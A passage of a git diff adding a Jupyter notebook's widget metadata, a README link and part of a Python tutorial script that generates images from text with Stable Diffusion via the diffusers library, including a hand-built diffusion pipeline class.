+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dbccb67e488b40faa3719e8db6e562a2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d2598bdd44164f77a581fb0afad817f6",
+              "IPY_MODEL_03fe79b7b7c5439c99fef039f96a831b",
+              "IPY_MODEL_9ac0da7a10a54fbe897b21184cdf154f"
+            ],
+            "layout": "IPY_MODEL_32e55f352157421aa3e1fef5819b3587"
+          }
+        },
+        "de35fccd4b4a433e8b468ef3981bede9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d0c8dcdbf9f44ca1bc74ea1e2f127b0f",
+            "placeholder": "",
+            "style": "IPY_MODEL_5e09f80f20554f419d925c5cdf55cc63",
+            "value": "Downloading (…)on_pytorch_model.bin: 100%"
+          }
+        },
+        "df83f20f558f43b9bf1e447316e9de4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dfdaf22078fd4385ab30060981d67666": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dff99876d1e3468bb3cbd97160ecd7a1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e16097842da34cd0bc24cfaeab3de404": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_45e95708fe6043c68fd25d8802778998",
+            "placeholder": "",
+            "style": "IPY_MODEL_da5028411a634a2eb2e1ed3fcc53ed6c",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "e288ede57ad84b2bb455ba18016c68d8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e68ae70236b04e5aa6c5de879ca81e9e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e8f385dcd70f40d28cd27ba5d7edcef8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_3bc08cdf09a84428a51955f2aa42ea30",
+              "IPY_MODEL_cb68043195a642b3a495d82d87ffd1b8",
+              "IPY_MODEL_0cf91d0dc45340f19f6a7a2804000145"
+            ],
+            "layout": "IPY_MODEL_dff99876d1e3468bb3cbd97160ecd7a1"
+          }
+        },
+        "e9e33bc9dfd843e88f9f56c0400b07e2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9307ea294e42484eb32d8b07fddd33dd",
+              "IPY_MODEL_a509f68381854d7da52a21dde99a9f62",
+              "IPY_MODEL_406fd8a742b443968d3f2fc1d3dbfef1"
+            ],
+            "layout": "IPY_MODEL_03433d859a7a4f3cae64d9d0bf374643"
+          }
+        },
+        "eb182b33be95418fad1010ccf7b176ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_614b85aff85e47debadea7773583b8ab",
+              "IPY_MODEL_c6305a1adcd946d2a4c66c05e614bcf1",
+              "IPY_MODEL_d321be86c24d4a35a251d4ef7a75c24d"
+            ],
+            "layout": "IPY_MODEL_a99edd082dff4f928c3b75abf84ec0ec"
+          }
+        },
+        "ec377a46cf8647ff891a920c46897786": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ece36cbb62cd46a8b452fac32dce3493": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "edb8b182bc4a413185e754aae38ee93a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ede27ca6747240eeb41a9dbde664e8a7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_99777597ceee470ca8c8a34f4846435a",
+            "placeholder": "",
+            "style": "IPY_MODEL_ca063f5b64d74bc9be303eebe7092f81",
+            "value": "Downloading (…)on_pytorch_model.bin: 100%"
+          }
+        },
+        "f0d04527bbe94bfdb91353827c2ad7db": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_016df28dd739433daa2c8d3b1706486c",
+            "placeholder": "",
+            "style": "IPY_MODEL_43aa766628a147548714ef986c9d979a",
+            "value": " 617/617 [00:00<00:00, 3.81kB/s]"
+          }
+        },
+        "f1e7ac9f310140f0adac525362d99180": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9e1a5419468d4549a38b8d23aa14f6d3",
+            "placeholder": "",
+            "style": "IPY_MODEL_98eab664cdee4999bb09af5abe60535f",
+            "value": " 807/807 [00:00<00:00, 4.45kB/s]"
+          }
+        },
+        "f369cc94c2544de3acdbcd35cac6d393": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3804bde7c974eaf90df71e9fdd3539b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f7d7fb787f884822aa3e5cdbfab22b1d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f8cc05786ad94dcca69f1fedf6d4aa4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f9a2bf4d86ab403d9e1c7378e91bf467": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "faa6428f4b7b4cb996cc4d5ca9bcb38c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fc3fc7c8bb714f39a67963f2792b527d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fc5d5de2233543eba400877e7891977a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fe3c4a4e4c8b4752a1f1d88da73fb808": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ff0910f0831b49ac9faaba1e70c275dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff35f85d2db0404da5e01fbda308197a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_34714076cb4b479eab2c5ec6a6c7d50e",
+            "max": 1719312805,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_22d3e015ffd24db8aa145fab92c1901c",
+            "value": 1719312805
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/stable-diffusion-models/README.md b/machine-learning/stable-diffusion-models/README.md
new file mode 100644
index 00000000..322e7759
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/README.md
@@ -0,0 +1 @@
+# [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python)
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py
new file mode 100644
index 00000000..1edeccc6
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py
@@ -0,0 +1,372 @@
+# %%
+%pip install --quiet --upgrade diffusers transformers accelerate
+
+# %%
+# The xformers package is mandatory to be able to create several 768x768 images.
+%pip install -q xformers==0.0.16rc425
+
+# %% [markdown]
+# # Using Dreamlike Photoreal
+
+# %%
+from diffusers import StableDiffusionPipeline
+import torch
+
+# %%
+model_id = "dreamlike-art/dreamlike-photoreal-2.0"
+pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)
+pipe = pipe.to("cuda")
+
+# %%
+prompts = ["Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background",
+           "Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art",
+           "Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic"]
+
+images = []
+
+# %%
+for i, prompt in enumerate(prompts):
+    image = pipe(prompt).images[0]
+    image.save(f'result_{i}.jpg')
+    images.append(image)
+
+# %%
+images[0]
+
+# %%
+images[1]
+
+# %%
+images[2]
+
+# %% [markdown]
+# # Manually working with the different components
+
+# %%
+import torch
+from torch import autocast
+import numpy as np
+
+from transformers import CLIPTextModel, CLIPTokenizer
+
+from diffusers import AutoencoderKL
+from diffusers import LMSDiscreteScheduler
+from diffusers import UNet2DConditionModel
+from diffusers.schedulers.scheduling_ddim import DDIMScheduler
+
+from tqdm import tqdm
+from PIL import Image
+
+# %%
+class ImageDiffusionModel:
+
+    def __init__(self, vae, tokenizer, text_encoder, unet, 
+                 scheduler_LMS, scheduler_DDIM):
+        self.vae = vae
+        self.tokenizer = tokenizer
+        self.text_encoder = text_encoder
+        self.unet = unet
+        self.scheduler_LMS = scheduler_LMS
+        self.scheduler_DDIM = scheduler_DDIM
+        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+    
+    
+    def get_text_embeds(self, text):
+        # tokenize the text
+        text_input = self.tokenizer(text, 
+                                    padding='max_length', 
+                                    max_length=tokenizer.model_max_length, 
+                                    truncation=True, 
+                                    return_tensors='pt')
+        # embed the text
+        with torch.no_grad():
+            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+
+        return text_embeds
+
+    def get_prompt_embeds(self, prompt):
+        # get conditional prompt embeddings
+        cond_embeds = self.get_text_embeds(prompt)
+        # get unconditional prompt embeddings
+        uncond_embeds = self.get_text_embeds([''] * len(prompt))
+        # concatenate the above 2 embeds
+        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+        return prompt_embeds
+
+    def get_img_latents(self, 
+                        text_embeds, 
+                        height=512, width=512, 
+                        num_inference_steps=50, 
+                        guidance_scale=7.5, 
+                        img_latents=None):
+        # if no image latent is passed, start reverse diffusion with random noise
+        if img_latents is None:
+            img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\
+                                       height // 8, width // 8)).to(self.device)
+        # set the number of inference steps for the scheduler
+        self.scheduler_LMS.set_timesteps(num_inference_steps)
+        # scale the latent embeds
+        img_latents = img_latents * self.scheduler_LMS.sigmas[0]
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):
+                # do a single forward pass for both the conditional and unconditional latents
+                latent_model_input = torch.cat([img_latents] * 2)
+                sigma = self.scheduler_LMS.sigmas[i]
+                latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)
+                
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']
+
+        return img_latents
+
+
+    def decode_img_latents(self, img_latents):
+        img_latents = img_latents / 0.18215
+        with torch.no_grad():
+            imgs = self.vae.decode(img_latents)["sample"]
+        # load image in the CPU
+        imgs = imgs.detach().cpu()
+        return imgs
+
+
+
+    def transform_imgs(self, imgs):
+        # transform images from the range [-1, 1] to [0, 1]
+        imgs = (imgs / 2 + 0.5).clamp(0, 1)
+        # permute the channels and convert to numpy arrays
+        imgs = imgs.permute(0, 2, 3, 1).numpy()
+        # scale images to the range [0, 255] and convert to int
+        imgs = (imgs * 255).round().astype('uint8')        
+        # convert to PIL Image objects
+        imgs = [Image.fromarray(img) for img in imgs]
+        return imgs
+        
+    
+    
+    def prompt_to_img(self, 
+                      prompts, 
+                      height=512, width=512, 
+                      num_inference_steps=50, 
+                      guidance_scale=7.5, 
+                      img_latents=None):
+        
+        # convert prompt to a list
+        if isinstance(prompts, str):
+            prompts = [prompts]
+        
+        # get prompt embeddings
+        text_embeds = self.get_prompt_embeds(prompts)
+
+        # get image embeddings
+        img_latents = self.get_img_latents(text_embeds,
+                                      height, width,
+                                      num_inference_steps,
+                                      guidance_scale, 
+                                      img_latents)
+        # decode the image embeddings
+        imgs = self.decode_img_latents(img_latents)
+        # convert decoded image to suitable PIL Image format
+        imgs = self.transform_imgs(imgs)
+
+        return imgs
+
+
+
+    def encode_img_latents(self, imgs):
+        if not isinstance(imgs, list):
+            imgs = [imgs]
+        
+        imgs = np.stack([np.array(img) for img in imgs], axis=0)
+        # scale images to the range [-1, 1]
+        imgs = 2 * ((imgs / 255.0) - 0.5)
+        imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)
+
+        # encode images
+        img_latents_dist = self.vae.encode(imgs.to(self.device))
+        # img_latents = img_latents_dist.sample()
+        img_latents = img_latents_dist["latent_dist"].mean.clone()
+        # scale images
+        img_latents *= 0.18215
+
+        return img_latents
+
+
+    def get_img_latents_similar(self,
+                                img_latents,
+                                text_embeds, 
+                                height=512, width=512, 
+                                num_inference_steps=50, 
+                                guidance_scale=7.5,
+                                start_step=10):        
+        
+        # set the number of inference steps for the scheduler
+        self.scheduler_DDIM.set_timesteps(num_inference_steps)
+
+        if start_step > 0:
+            start_timestep = self.scheduler_DDIM.timesteps[start_step]
+            start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()
+
+            noise = torch.randn_like(img_latents)
+            img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)
+        
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):
+                # do a single forward pass for both the conditional and unconditional latents
